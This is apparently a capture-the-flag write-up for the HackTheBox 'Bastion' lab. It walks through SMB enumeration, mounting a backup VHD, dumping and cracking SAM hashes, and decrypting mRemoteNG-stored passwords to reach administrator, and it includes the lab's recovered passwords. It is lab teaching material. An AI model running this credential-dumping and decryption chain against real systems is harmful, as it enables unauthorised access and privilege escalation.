Enumeration

Run Nmap Scan

nmap -p- -T4 10.129.72.199

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 14:41 BST
Nmap scan report for 10.129.72.199
Host is up (0.17s latency).
Not shown: 65522 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 529.35 seconds
"

nmap -p 22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -sC -sV 10.129.72.199

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 14:52 BST
Nmap scan report for 10.129.72.199
Host is up (0.17s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a56ae753c780ec8564dcb1c22bf458a (RSA)
|   256 cc2e56ab1997d5bb03fb82cd63da6801 (ECDSA)
|_  256 935f5daaca9f53e7f282e664a8a3a018 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -39m56s, deviation: 1h09m14s, median: 1s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2023-10-17T13:53:51
|_  start_date: 2023-10-17T13:37:42
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-10-17T15:53:50+02:00
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.63 seconds
"

Enumerating SMB

smbmap -H 10.129.72.199 -u guest

"
[+] IP: 10.129.72.199:445	Name: 10.129.72.199                                     
[|] Work[!] Unable to remove test directory at \\10.129.72.199\Backups\BPUEGLQDWN, please remove manually
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	Backups                                           	READ, WRITE	
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
"

Logging into the Backup Directory

smbclient //10.129.72.199/Backups -U guest

"
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Oct 17 14:57:26 2023
  ..                                  D        0  Tue Oct 17 14:57:26 2023
  BPUEGLQDWN                          D        0  Tue Oct 17 14:57:26 2023
  note.txt                           AR      116  Tue Apr 16 11:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 12:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 12:44:02 2019

		5638911 blocks of size 4096. 1175160 blocks available
"

Reading the Notes

cat note.txt 

"
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
"

Seems like someone uploaded the entire file

Downloading the Backup Image

cd "\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\"
ls

`
  .                                  Dn        0  Fri Feb 22 12:45:32 2019
  ..                                 Dn        0  Fri Feb 22 12:45:32 2019
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd     An 37761024  Fri Feb 22 12:44:03 2019
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd     An 5418299392  Fri Feb 22 12:45:32 2019
  BackupSpecs.xml                    An     1186  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml     An     1078  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml     An     8930  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml     An     6542  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml     An     2894  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml     An     1488  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml     An     1484  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml     An     3844  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml     An     3988  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml     An     7110  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml     An  2374620  Fri Feb 22 12:45:32 2019

		5638911 blocks of size 4096. 1168489 blocks available
`

Exploitation

Mounting to the System

sudo apt install cifs-utils
sudo mkdir /mnt/win_share
sudo mount -t cifs -o username=guest //10.129.72.199/Backups /mnt/win_share

The upper installation (which is the first line of code) is required for mounting the SMB directory to our directory.

Finding the Password

Search for SAM and SYSTEM File

guestmount --add /mnt/win_share/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/backup

find /mnt/backup/ -name SAM 2>/dev/null
find /mnt/backup/ -name SYSTEM 2>/dev/null

Dumping the NTLM Hash

sudo samdump2 /mnt/backup/Windows/System32/config/SYSTEM /mnt/backup/Windows/System32/config/SAM

"
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
"

Here we are going to crack L4mpje hash.

Cracking the Hash

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Crack the follow hash using the website above

password: bureaulampje

Exploit

ssh L4mpje@10.129.72.199

"
The authenticity of host '10.129.72.199 (10.129.72.199)' can't be established.
ECDSA key fingerprint is SHA256:ILc1g9UC/7j/5b+vXeQ7TIaXLFddAbttU86ZeiM/bNY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.72.199' (ECDSA) to the list of known hosts.
L4mpje@10.129.72.199's password:

Microsoft Windows [Version 10.0.14393]                                                                                          
(c) 2016 Microsoft Corporation. All rights reserved.                                                                            

l4mpje@BASTION C:\Users\L4mpje>
"

Privilege Escalation

Gathering System Information (Failed)

systeminfo          

"                     
ERROR: Access denied
"

tasklist

"                                 
ERROR: Access denied
"

Tried both systeminfo and tasklist to find the exploit, but it’s blocked

Exploiting mRemoteNG

Finding Program List

ls

"
PS C:\Program Files (x86)> ls                                                   

    Directory: C:\Program Files (x86)                                           

Mode                LastWriteTime         Length Name                           
----                -------------         ------ ----                           
d-----        16-7-2016     15:23                Common Files                   
d-----        23-2-2019     09:38                Internet Explorer              
d-----        16-7-2016     15:23                Microsoft.NET                  
da----        22-2-2019     14:01                mRemoteNG                      
d-----        23-2-2019     10:22                Windows Defender               
d-----        23-2-2019     09:38                Windows Mail                   
d-----        23-2-2019     10:22                Windows Media Player           
d-----        16-7-2016     15:23                Windows Multimedia Platform    
d-----        16-7-2016     15:23                Windows NT                     
d-----        23-2-2019     10:22                Windows Photo Viewer           
d-----        16-7-2016     15:23                Windows Portable Devices       
d-----        16-7-2016     15:23                WindowsPowerShell
"

Enumerating mRemoteNG

ls

"
PS C:\Program Files (x86)\mRemoteNG> ls                                         

    Directory: C:\Program Files (x86)\mRemoteNG                                 

Mode                LastWriteTime         Length Name                           
----                -------------         ------ ----                           
d-----        22-2-2019     14:01                cs-CZ                          
d-----        22-2-2019     14:01                de                             
d-----        22-2-2019     14:01                el                             
d-----        22-2-2019     14:01                en-US                          
d-----        22-2-2019     14:01                es                             
d-----        22-2-2019     14:01                es-AR                          
d-----        22-2-2019     14:01                Firefox                        
d-----        22-2-2019     14:01                fr                             
d-----        22-2-2019     14:01                Help                           
d-----        22-2-2019     14:01                hu                             
d-----        22-2-2019     14:01                Icons                          
d-----        22-2-2019     14:01                it                             
d-----        22-2-2019     14:01                ja-JP                          
d-----        22-2-2019     14:01                ko-KR                          
d-----        22-2-2019     14:01                nb-NO                          
d-----        22-2-2019     14:01                nl                             
d-----        22-2-2019     14:01                pl                             
d-----        22-2-2019     14:01                pt                             
d-----        22-2-2019     14:01                pt-BR                          
d-----        22-2-2019     14:01                ru                             
d-----        22-2-2019     14:01                Schemas                        
d-----        22-2-2019     14:01                Themes                         
d-----        22-2-2019     14:01                tr-TR                          
d-----        22-2-2019     14:01                uk                             
d-----        22-2-2019     14:01                zh-CN                          
d-----        22-2-2019     14:01                zh-TW                          
-a----       18-10-2018     23:31          36208 ADTree.dll                     
-a----       18-10-2018     23:31         346992 AxInterop.MSTSCLib.dll         
-a----       18-10-2018     23:31          83824 AxInterop.WFICALib.dll         
-a----       18-10-2018     23:31        2243440 BouncyCastle.Crypto.dll        
-a----       18-10-2018     23:30          71022 Changelog.txt                  
-a----       18-10-2018     23:30           3224 Credits.txt                    
-a----       18-10-2018     23:31        1966960 Geckofx-Core.dll               
-a----         5-7-2017     01:31        4482560 Geckofx-Core.pdb               
-a----       18-10-2018     23:31         143728 Geckofx-Winforms.dll           
-a----         5-7-2017     01:31         259584 Geckofx-Winforms.pdb           
-a----       18-10-2018     23:31         607088 Interop.MSTSCLib.dll           
-a----       18-10-2018     23:31         131440 Interop.WFICALib.dll           
-a----        7-10-2018     13:21          18326 License.txt                    
-a----       18-10-2018     23:31         283504 log4net.dll                    
-a----       18-10-2018     23:31         412528 MagicLibrary.dll               
-a----       18-10-2018     23:31        1552240 mRemoteNG.exe                  
-a----        7-10-2018     13:21          28317 mRemoteNG.exe.config           
-a----       18-10-2018     23:30        2405888 mRemoteNG.pdb                  
-a----       18-10-2018     23:31         451952 ObjectListView.dll             
-a----        7-10-2018     13:21         707952 PuTTYNG.exe                    
-a----        7-10-2018     13:21            887 Readme.txt                     
-a----       18-10-2018     23:31         415088 Renci.SshNet.dll               
-a----       18-10-2018     23:31         152432 VncSharp.dll                   
-a----       18-10-2018     23:31         312176 WeifenLuo.WinFormsUI.Docking.d 
                                                 ll                             
-a----       18-10-2018     23:31          55152 WeifenLuo.WinFormsUI.Docking.T 
                                                 hemeVS2003.dll                 
-a----       18-10-2018     23:31         168816 WeifenLuo.WinFormsUI.Docking.T 
                                                 hemeVS2012.dll                 
-a----       18-10-2018     23:31         217968 WeifenLuo.WinFormsUI.Docking.T 
                                                 hemeVS2013.dll                 
-a----       18-10-2018     23:31         243056 WeifenLuo.WinFormsUI.Docking.T 
                                                 hemeVS2015.dll
"

Nothing in Program Files (x86), Moving to %AppData%

ls

"
PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG> ls                                

    Directory: C:\Users\L4mpje\AppData\Roaming\mRemoteNG                        

Mode                LastWriteTime         Length Name                           
----                -------------         ------ ----                           
d-----        22-2-2019     14:01                Themes                         
-a----        22-2-2019     14:03           6316 confCons.xml                   
-a----        22-2-2019     14:02           6194 confCons.xml.20190222-14022773 
                                                 53.backup                      
-a----        22-2-2019     14:02           6206 confCons.xml.20190222-14023390 
                                                 71.backup                      
-a----        22-2-2019     14:02           6218 confCons.xml.20190222-14023792 
                                                 27.backup                      
-a----        22-2-2019     14:02           6231 confCons.xml.20190222-14030706 
                                                 44.backup                      
-a----        22-2-2019     14:03           6319 confCons.xml.20190222-14031004 
                                                 88.backup                      
-a----        22-2-2019     14:03           6318 confCons.xml.20190222-14032200 
                                                 26.backup                      
-a----        22-2-2019     14:03           6315 confCons.xml.20190222-14032612 
                                                 68.backup                      
-a----        22-2-2019     14:03           6316 confCons.xml.20190222-14032728 
                                                 31.backup                      
-a----        22-2-2019     14:03           6315 confCons.xml.20190222-14034332 
                                                 99.backup                      
-a----        22-2-2019     14:03           6316 confCons.xml.20190222-14034865 
                                                 80.backup                      
-a----        22-2-2019     14:03             51 extApps.xml                    
-a----        22-2-2019     14:03           5217 mRemoteNG.log                  
-a----        22-2-2019     14:03           2245 pnlLayout.xml
"

Here there are a lot of interesting files, but out of them confCons.xml looks special.

View confCons.xml

type confCons.xml                 
<?xml version="1.0" encoding="utf-8"?>                                          
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="f
alse" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFile
Encryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL
5tKO886au0ofFPW0oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">                      
    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" 
Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Pas
sword="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7em
f7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Setti
ngs" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE"
 ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToI
dleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bi
t" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" Disp
layThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" C
acheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPri
nters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality=
"Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacA
ddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHexti
le" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0
" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode
="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostna
me="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPass
word="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" Inh
eritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="fa
lse" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" 
InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="
false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" I
nheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPort
s="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" Inhe
ritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" I
nheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp
="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryp
tionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToId
leTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="fal
se" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false"
 InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" In
heritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" 
InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="f
alse" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSi
zeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" In
heritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" 
InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatew
ayDomain="false" />                                                             
    <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="Ge
neral" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Pas
sword="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZV
vla8esB" Hostname="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" 
Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAE
ncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTi
meout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Re
solution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayTh
emes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheB
itmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters
="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dyna
mic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddres
s="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" V
NCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNC
ProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="Sma
rtSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname=""
 RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword=
"" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritD
escription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" 
InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" Inher
itDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false
" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" Inheri
tRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="fa
lse" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRe
directSound="false" InheritSoundQuality="false" InheritResolution="false" Inheri
tAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="fal
se" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionS
trength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTim
eout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" I
nheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" Inhe
ritUserField="false" InheritExtApp="false" InheritVNCCompression="false" Inherit
VNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" Inher
itVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false"
 InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMod
e="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" Inherit
RDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" Inher
itRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDom
ain="false" />                                                                  
</mrng:Connections>

There are passwords for both administrator and L4mpje. Since we have credential for L4mpje, Let’s go for administrator account

Decrypting the Encrypted Password

https://github.com/kmahyyg/mremoteng-decrypt Download the following script to decrypt the file

Extracting the Admin Password

vi password.txt

"
aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7em
f7lWWA10dQKiw==
"

Extract the encrypted administrator password (Config) and save it to password.txt

Decrypting the mRemoteNG Config

python3 mremoteng_decrypt.py -f ../password.txt

"
Password: thXLHM96BeKL0ER2
"

password: thXLHM96BeKL0ER2

Exploit

ssh administrator@10.129.136.29

"
The authenticity of host '10.129.136.29 (10.129.136.29)' can't be established.
ECDSA key fingerprint is SHA256:ILc1g9UC/7j/5b+vXeQ7TIaXLFddAbttU86ZeiM/bNY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.136.29' (ECDSA) to the list of known hosts.
administrator@10.129.136.29's password: 

Microsoft Windows [Version 10.0.14393]                                          
(c) 2016 Microsoft Corporation. All rights reserved.                            

administrator@BASTION C:\Users\Administrator>whoami /user                       

USER INFORMATION                                                                
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User Name             SID                                                       
===================== =============================================             
bastion\administrator S-1-5-21-2146344083-2443430429-1430880910-500             

administrator@BASTION C:\Users\Administrator>
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Overview

AWS Security

AWS Security Theory

Security Operations

HackTheBox Active Directory

HackTheBox Windows

HackTheBox Linux

HackTheBox Bastion

Enumeration

Run Nmap Scan

Enumerating SMB

Logging into the Backup Directory

Reading the Notes

Downloading the Backup Image

Exploitation

Mounting to the System

Finding the Password

Dumping the NTLM Hash

Cracking the Hash

Exploit

Privilege Escalation

Gathering System Information (Failed)

Exploiting mRemoteNG

Finding Program List

Enumerating mRemoteNG

View confCons.xml

Decrypting the Encrypted Password

Extracting the Admin Password

Decrypting the mRemoteNG Config

Exploit

Reference

​Enumeration

​Run Nmap Scan

​Enumerating SMB

​Logging into the Backup Directory

​Reading the Notes

​Downloading the Backup Image

​Exploitation

​Mounting to the System

​Finding the Password

​Dumping the NTLM Hash

​Cracking the Hash

​Exploit

​Privilege Escalation

​Gathering System Information (Failed)

​Exploiting mRemoteNG

​Finding Program List

​Enumerating mRemoteNG

​View confCons.xml

​Decrypting the Encrypted Password

​Extracting the Admin Password

​Decrypting the mRemoteNG Config

​Exploit

​Reference

Enumeration

Run Nmap Scan

Enumerating SMB

Logging into the Backup Directory

Reading the Notes

Downloading the Backup Image

Exploitation

Mounting to the System

Finding the Password

Dumping the NTLM Hash

Cracking the Hash

Exploit

Privilege Escalation

Gathering System Information (Failed)

Exploiting mRemoteNG

Finding Program List

Enumerating mRemoteNG

View confCons.xml

Decrypting the Encrypted Password

Extracting the Admin Password

Decrypting the mRemoteNG Config

Exploit

Reference